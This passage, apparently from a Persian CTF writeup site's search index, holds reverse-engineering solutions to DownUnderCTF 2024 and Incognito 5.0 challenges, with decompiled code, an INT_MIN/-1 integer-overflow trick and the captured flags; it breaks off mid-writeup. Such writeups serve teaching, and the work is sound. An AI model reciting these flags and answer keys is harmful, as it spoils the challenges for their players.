\u0645\u06cc\u200c\u06af\u06cc\u0631\u06cc\u0645. \u0628\u0631\u0631\u0633\u06cc \u06a9\u0644\u06cc \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u06a9 \u0648\u0631\u0648\u062f\u06cc \u06f6\u06f4 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u200c\u06a9\u0646\u0647 \u0648 \u0628\u0633\u062a\u0647 \u0628\u0647 \u0647\u0631 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc\u060c \u062a\u0627\u0628\u0639\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0648 \u0635\u062f\u0627 \u0645\u06cc\u0632\u0646\u0647 \u0648 \u0645\u0642\u062f\u0627\u0631 \u06cc\u06a9 \u0645\u062a\u063a\u06cc\u0631 \u0631\u0648 \u062f\u0631 \u062f\u06cc\u062a\u0627 \u0633\u06af\u0645\u0646\u062a \u0628\u0647 \u0637\u0648\u0631 \u0645\u062f\u0627\u0648\u0645 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc\u200c\u062f\u0647. \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0686\u06a9 \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u0627\u06af\u0631 \u0645\u0642\u062f\u0627\u0631 \u0627\u0648\u0646 \u0645\u062a\u063a\u06cc\u0631 \u0628\u0631\u0627\u0628\u0631 \u0635\u0641\u0631 \u0628\u0648\u062f \u062c\u0648\u0627\u0628 \u0645\u0627 \u062f\u0631\u0633\u062a \u0628\u0648\u062f\u0647 \u0648 \u0648\u0631\u0648\u062f\u06cc \u0647\u0645\u0648\u0646 \u0641\u0644\u06af \u0633\u0648\u0627\u0644 \u0647\u0633\u062a. \u0628\u0631\u062e\u06cc \u0642\u0633\u0645\u062a\u200c\u0647\u0627\u06cc \u0645\u0647\u0645 \u06a9\u062f \u062f\u0631 \u0632\u06cc\u0631 \u0622\u0648\u0631\u062f\u0647 \u0634\u062f\u0647.

__int64 qword_9010 = -1LL;\n\n\n_BOOL8 sub_1200()\n{\n  return qword_9010 == 0;\n}\n\nvoid __fastcall sub_1280(char a1)\n{\n  __asm { jmp     rax }\n}\n\nvoid sub_2300()\n{\n  qword_9010 = -1;\n}\n\n__int64 sub_5000()\n{\n  __int64 result; // rax\n\n  result = qword_9010 & 0x77FFD7ECCEEFDFFELL;\n  if ( (qword_9010 & 0x77FFD7ECCEEFDFFELL) == 0 )\n  {\n    qword_9010 ^= 0x80000000000uLL;\n    return qword_9010;\n  }\n  return result;\n}\n\n__int64 __fastcall main(int a1, char **a2, char **a3)\n{\n  int i; // [rsp+Ch] [rbp-54h]\n  __int64 v5[8]; // [rsp+10h] [rbp-50h] BYREF\n  char v6; // [rsp+50h] [rbp-10h]\n  unsigned __int64 v7; // [rsp+58h] [rbp-8h]\n\n  v7 = __readfsqword(0x28u);\n  memset(v5, 0, sizeof(v5));\n  v6 = 0;\n  __isoc99_scanf(\"%64s\", v5);\n  for ( i = 0; i <= 63; ++i )\n    sub_1280(*((_BYTE *)v5 + i));\n  if ( sub_1200() )\n    printf(\"Correct! DUCTF{%s}\\n\", (const char *)v5);\n  else\n    puts(\"Incorrect!\");\n  return 0LL;\n}\n

\u062e\u0631\u0648\u062c\u06cc \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0628\u0631\u0627\u06cc \u062a\u0627\u0628\u0639 sub_1280 \u06a9\u0645\u06cc \u063a\u06cc\u0631 \u0642\u0627\u0628\u0644\u200c\u0641\u0647\u0645 \u0647\u0633\u062a. \u0628\u0627 \u0645\u0631\u0648\u0631 \u0627\u0633\u0645\u0628\u0644\u06cc \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u200c\u0634\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0633\u062a\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0627\u0633\u06a9\u06cc \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc \u0686\u06cc \u0647\u0633\u062a\u060c \u06cc\u06a9 \u0622\u0641\u0633\u062a \u0648\u0644\u06cc\u062f \u06a9\u0647 \u0622\u062f\u0631\u0633 \u0634\u0631\u0648\u0639 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u0647\u0633\u062a \u0631\u0627 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0627\u0648\u0646\u0648 \u06a9\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0647.

\u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06af\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u0646 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u06a9\u0647 \u06cc\u06a9 \u0646\u0638\u0645 \u062e\u06cc\u0644\u06cc \u062e\u0627\u0635\u06cc \u062f\u0627\u0631\u0646 \u0648 \u062f\u0631 \u0641\u0627\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0628\u0631\u0627\u0628\u0631 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0646. \u0627\u06af\u0631 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u0631\u0648 \u0628\u0627 \u062c\u062f\u0648\u0644 \u0627\u0633\u06a9\u06cc \u062a\u0637\u0628\u06cc\u0642 \u0628\u062f\u06cc\u0646\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u06a9\u0647 \u0627\u06a9\u062b\u0631 \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0645\u0642\u062f\u0627\u0631 \u0627\u0648\u0646 \u0645\u062a\u063a\u06cc\u0631 qword_9010 \u0631\u0648 \u0628\u0631\u0627\u0628\u0631 \u06f1- \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0646 \u0648 \u0641\u0642\u0637 \u062a\u0648\u0627\u0628\u0639 \u0645\u062a\u0646\u0627\u0638\u0631 \u0628\u0627 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u200c\u0647\u0627\u06cc a \u062a\u0627 z \u0648 A \u062a\u0627 Z \u0648 0 \u062a\u0627 1 \u0648 ! \u0648 ? \u06a9\u0627\u0631 \u0645\u062a\u0641\u0627\u0648\u062a\u06cc \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0646. \u0627\u06af\u0631 \u0628\u0627\u0632 \u0647\u0645 \u0628\u06cc\u0634\u062a\u0631 \u0628\u0647 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u0646\u06af\u0627\u0647 \u06a9\u0646\u06cc\u062f\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u06a9\u0647 \u0647\u0631 \u06a9\u062f\u0648\u0645 (\u0628\u0647 \u062c\u0632 \u062a\u0627\u0628\u0639 \u0645\u062a\u0646\u0627\u0638\u0631 \u0628\u0627 t) \u0627\u06af\u0631 \u06cc\u06a9 \u0634\u0631\u0637 \u062e\u0627\u0635 \u0631\u0648\u06cc \u0645\u0642\u062f\u0627\u0631 qword_9010 \u0628\u0631\u0642\u0631\u0627\u0631 \u0628\u0627\u0634\u0647\u060c \u06cc\u06a9 \u0628\u06cc\u062a \u062e\u0627\u0635 \u0627\u0632\u0648\u0646 \u0639\u062f\u062f \u06f6\u06f4 \u0628\u06cc\u062a\u06cc \u0631\u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 0 \u0645\u06cc\u200c\u06a9\u0646\u0647. \u0686\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 \u0627\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644\u0634 \u06f1- \u0647\u0633\u062a \u0648 \u062a\u0645\u0627\u0645 \u0628\u06cc\u062a\u200c\u0647\u0627\u0634 1 \u0639\u0647 \u0648 \u0647\u0631 \u06a9\u062f\u0648\u0645 \u0627\u0632\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0641\u0642\u0637 \u06cc\u06a9 \u0628\u06cc\u062a \u062e\u0627\u0635 \u0631\u0648 0 \u0645\u06cc\u200c\u06a9\u0646\u0646 \u0648 \u0645\u0627 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u0622\u062e\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0645\u0647 \u0628\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u062f\u062f 0 \u0628\u0627\u0634\u0647\u060c \u067e\u0633 \u0647\u0631 \u06a9\u062f\u0648\u0645 \u0627\u0632\u06cc\u0646 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u062f\u0642\u06cc\u0642\u0627 \u06cc\u06a9 \u0628\u0627\u0631 \u0648 \u0628\u0627 \u06cc\u06a9 \u062a\u0631\u062a\u06cc\u0628 \u062e\u0627\u0635\u06cc \u06a9\u0627\u0644 \u0628\u0634\u0646 \u062a\u0627 \u0634\u0631\u0637\u200c\u0647\u0627\u06cc \u0647\u0645\u062f\u06cc\u06af\u0631 \u0631\u0648 \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u0646 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0639\u062f\u062f \u0631\u0648 \u0635\u0641\u0631 \u06a9\u0646\u0646.\u0628\u0627 \u0646\u06af\u0627\u0647 \u0633\u0627\u062f\u0647 \u0648 \u06cc\u0627 \u0628\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0634\u0631\u0637\u200c\u0647\u0627\u0631\u0648 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u062f\u0631\u0628\u06cc\u0627\u0631\u06cc\u0645 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0648\u0631\u0648\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645.

FLAG

DUCTF{tAb1HFK5h3ZgEX7UTMQfsivcPOaJ?nRy8jrYLVB9Ilempw6xWq2zC0d!SDukG4No}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Reverse"]},{"location":"reverse/writeups/DUCTF/number_mashing/","title":"\u0686\u0627\u0644\u0634 number mashing","text":"

\u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0631\u0648 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0645\u06cc\u062f\u06cc\u0645 \u0648 \u062e\u0631\u0648\u062c\u06cc \u0631\u0648 \u0686\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0628\u0627 \u062d\u0630\u0641 \u0642\u0633\u0645\u062a\u0627\u06cc \u063a\u06cc\u0631 \u0645\u0647\u0645 \u0648 \u0641\u0642\u0637 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0646 \u0645\u0646\u0637\u0642 \u0627\u0635\u0644\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0634\u0628\u0647 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0648 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645.

undefined8 main(void)\n\n{\n  int local_11c;\n  int local_118;\n  int local_114;\n  FILE *local_110;\n  setvbuf(_stdout,(char *)0x0,2,0);\n  setvbuf(_stdin,(char *)0x0,2,0);\n  printf(\"Give me some numbers: \");\n  __isoc99_scanf(\"%d %d\",&local_11c,&local_118);\n  if (((local_11c == 0) || (local_118 == 0)) || (local_118 == 1)) {\n    puts(\"Nope!\");\n    exit(1);\n  }\n  local_114 = 0;\n  if (local_118 != 0) {\n    local_114 = local_11c / local_118;\n  }\n  if (local_114 != local_11c)\n    puts(\"Nope!\");\n  local_110 = fopen(\"flag.txt\",\"r\");\n  fread(&local_108,1,0x100,local_110);\n  printf(\"Correct! %s\\n\",&local_108);\n  return 0;\n}\n

\u062f\u0631 \u0648\u0627\u0642\u0639 \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u062f\u0648 \u0639\u062f\u062f int32 \u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u0648 \u0686\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0622\u06cc\u0627 \u062d\u0627\u0635\u0644 \u062a\u0642\u0633\u06cc\u0645 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0631 \u0639\u062f\u062f \u062f\u0648\u0645\u060c \u0628\u0631\u0627\u0628\u0631 \u0639\u062f\u062f \u0627\u0648\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u06cc\u0627 \u062e\u06cc\u0631. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0633\u062e\u062a\u200c\u062a\u0631 \u06a9\u0631\u062f\u0646 \u06a9\u0627\u0631 \u0648 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u062e\u0637\u0627\u06cc \u062a\u0642\u0633\u06cc\u0645 \u0635\u0641\u0631\u060c \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0647 \u06a9\u0647 \u0635\u0648\u0631\u062a \u0628\u0631\u0627\u0628\u0631 0 \u0648 \u06cc\u0627 \u0645\u062e\u0631\u062c \u0628\u0631\u0627\u0628\u0631 0 \u06cc\u0627 1 \u0646\u0628\u0627\u0634\u0647 \u0648 \u062f\u0631 \u063a\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647 \u062e\u0627\u0631\u062c \u0645\u06cc\u200c\u0634\u0647. \u0627\u0632 \u062f\u06cc\u062f \u0631\u06cc\u0627\u0636\u06cc \u0648 \u062f\u0631 \u062a\u0642\u0633\u06cc\u0645 \u0627\u0639\u062f\u0627\u062f \u0635\u062d\u06cc\u062d \u0648 \u0628\u0627 \u0641\u0631\u0636 \u0627\u06cc\u0646\u06a9\u0647 \u067e\u0627\u0633\u062e \u0647\u0645\u06cc\u0634\u0647 \u0628\u0647 \u0633\u0645\u062a 0 \u06af\u0631\u062f \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u0627\u062f \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0647\u0645\u0686\u06cc\u0646 \u062c\u0641\u062a \u0639\u062f\u062f\u06cc \u0628\u0627\u06cc\u062f \u0646\u0627\u0645\u0645\u06a9\u0646 \u0628\u0627\u0634\u0647. \u0627\u0645\u0627 \u0646\u06a9\u062a\u0647 \u0627\u06cc\u0646\u062c\u0627\u0633\u062a \u06a9\u0647 \u0645\u0627 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631\u0647\u0627\u060c \u062a\u0639\u062f\u0627\u062f \u0645\u062d\u062f\u0648\u062f\u06cc \u0628\u06cc\u062a \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0627\u0632 \u0642\u0648\u0627\u0639\u062f \u062e\u0627\u0635\u06cc \u0628\u0631\u0627\u06cc \u0646\u0645\u0627\u06cc\u0634 \u0627\u0639\u062f\u0627\u062f \u067e\u06cc\u0631\u0648\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 complement 2's \u062a\u0639\u062f\u0627\u062f \u0627\u0639\u062f\u0627\u062f \u0645\u0646\u0641\u06cc \u06cc\u06a9\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0627\u0632 \u0627\u0639\u062f\u0627\u062f \u0645\u062b\u0628\u062a \u0627\u0633\u062a \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u06a9\u0648\u0686\u06a9\u200c\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u06f3\u06f2 \u0628\u06cc\u062a\u06cc \u0645\u0646\u0641\u06cc \u06cc\u0639\u0646\u06cc 2147483648 - \u062f\u0631 \u0627\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0646\u0642\u06cc\u0636 \u0646\u062f\u0627\u0631\u062f \u0648 \u0646\u0642\u06cc\u0636\u0634 \u062e\u0648\u062f\u0634 \u0627\u0633\u062a. \u062f\u0644\u06cc\u0644 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0646\u0645\u0627\u06cc\u0634 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u06cc\u0646 \u0639\u062f\u062f\u060c \u0628\u0627 \u0627\u0631\u0632\u0634\u200c\u062a\u0631\u06cc\u0646 \u0628\u06cc\u062a 1 \u0648 \u0628\u0642\u06cc\u0647 \u0628\u06cc\u062a\u200c\u0647\u0627 0 \u0647\u0633\u062a\u0646\u062f. \u062d\u0627\u0644 \u0647\u0646\u06af\u0627\u0645 \u0646\u0642\u06cc\u0636 \u06a9\u0631\u062f\u0646\u060c \u0647\u0645\u0647 \u0628\u06cc\u062a\u200c\u0647\u0627 \u0631\u0627 \u0639\u06a9\u0633 \u0648 \u0633\u067e\u0633 \u0639\u062f\u062f \u0631\u0627 \u0628\u0627 1 \u062c\u0645\u0639 \u06a9\u0646\u06cc\u0645\u060c \u0645\u062c\u062f\u062f\u0627 \u0628\u0627 \u0647\u0645\u0627\u0646 \u0646\u0645\u0627\u06cc\u0634 \u0639\u062f\u062f\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0627\u06af\u0631 \u0627\u06cc\u0646 \u0639\u062f\u062f \u0631\u0627 \u062f\u0631 \u06f1- \u0636\u0631\u0628 \u0648 \u06cc\u0627 \u0628\u0631 \u0622\u0646 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0646\u06cc\u0645\u060c \u0647\u0645\u0686\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u0628\u0631\u0627\u0628\u0631 \u062e\u0648\u062f\u0634 \u0627\u0633\u062a. \u0628\u0627 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0631\u0648\u062f\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u06cc\u0645\u0648\u062a \u0631\u0648\u06cc \u0633\u0631\u0648\u0631\u060c \u0645\u0642\u062f\u0627\u0631 \u0641\u0644\u06af \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u200c\u0622\u06cc\u062f.

FLAG

DUCTF{w0w_y0u_just_br0ke_math!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Reverse"]},{"location":"reverse/writeups/Incognito_5.0/Vault/","title":"\u0686\u0627\u0644\u0634 Vault","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

"},{"location":"reverse/writeups/Incognito_5.0/Vault/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0642\u0637 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 challenge0 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

$ file challenge0\nchallenge0: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=050a91a2a787ea9b21439b9cae80e47848c472f7, for GNU/Linux 3.2.0, not stripped\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u062e\u0628 \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 64\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0631\u0627 \u0647\u0645\u06cc\u0646 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647.

\u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0686\u06cc\u0633\u062a\u061f

\u06cc\u06a9 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0628\u0631\u0639\u06a9\u0633 \u06cc\u06a9 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0639\u0645\u0644 \u0645\u06cc \u06a9\u0646\u062f! \u0628\u0627\u06cc\u0646\u0631\u06cc \u0647\u0627 \u0631\u0627 \u0645\u06cc \u06af\u06cc\u0631\u062f \u0648 \u0622\u0646\u0647\u0627 \u0631\u0627 \u0628\u0647 \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u062f (\u0628\u0627 \u062f\u0631\u062c\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0645\u0648\u0641\u0642\u06cc\u062a \u0628\u0633\u062a\u0647 \u0628\u0647 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631\u060c \u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631\u060c \u0632\u0628\u0627\u0646\u060c \u0645\u0639\u0645\u0627\u0631\u06cc\u060c \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0648 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0639\u0648\u0627\u0645\u0644 \u062f\u06cc\u06af\u0631).

\u0645\u0639\u0645\u0648\u0644\u0627 \u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 Hex-Rays \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

_DWORD ascii_values_1[26] = {105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, 95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125 };\n_BYTE flagArray_0[32];\n\n_BYTE *flag()\n{\n  int i;\n  for ( i = 0; i < 26; ++i )\n    flagArray_0[i] = ascii_values_1[i];\n  flagArray_0[26] = 0;\n  return flagArray_0;\n}\n\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  const char *v3;\n  const char *v4;\n  char s1[112];\n  printf(\"Enter the secret code: \");\n  __isoc99_scanf(\"%99s\", s1);\n  v3 = flag();\n  if ( !strcmp(s1, v3) )\n  {\n    puts(\"Access Granted!\");\n    v4 = flag();\n    puts(v4);\n  }\n  else\n  {\n    puts(\"Access Denied!\");\n  }\n  return 0;\n}\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u062e\u0628 \u0627\u0632 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0645\u06cc\u062a\u0648\u0627\u0646 \u062f\u06cc\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0632 \u0645\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0627 \u062e\u0631\u0648\u062c\u06cc \u062a\u0627\u0628\u0639 flag \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u06a9\u0646\u0647. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0633\u0627\u062f\u06af\u06cc \u0628\u0627 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0632\u06cc\u0631 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u062f\u0631 \u0628\u06cc\u0627\u0631\u06cc\u0645

a = [105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, \n     95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125]\nprint(''.join(map(chr, a)))\n
FLAG

ictf{welc0me_t0_rev3rs1ng}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/","title":"\u0686\u0627\u0644\u0634 Vault 2","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0642\u0637 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 challenge1 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

$ file challenge1\nchallenge1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d15aa18d88517442ed4cf7a958d61093c455c645, for GNU/Linux 3.2.0, not stripped\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

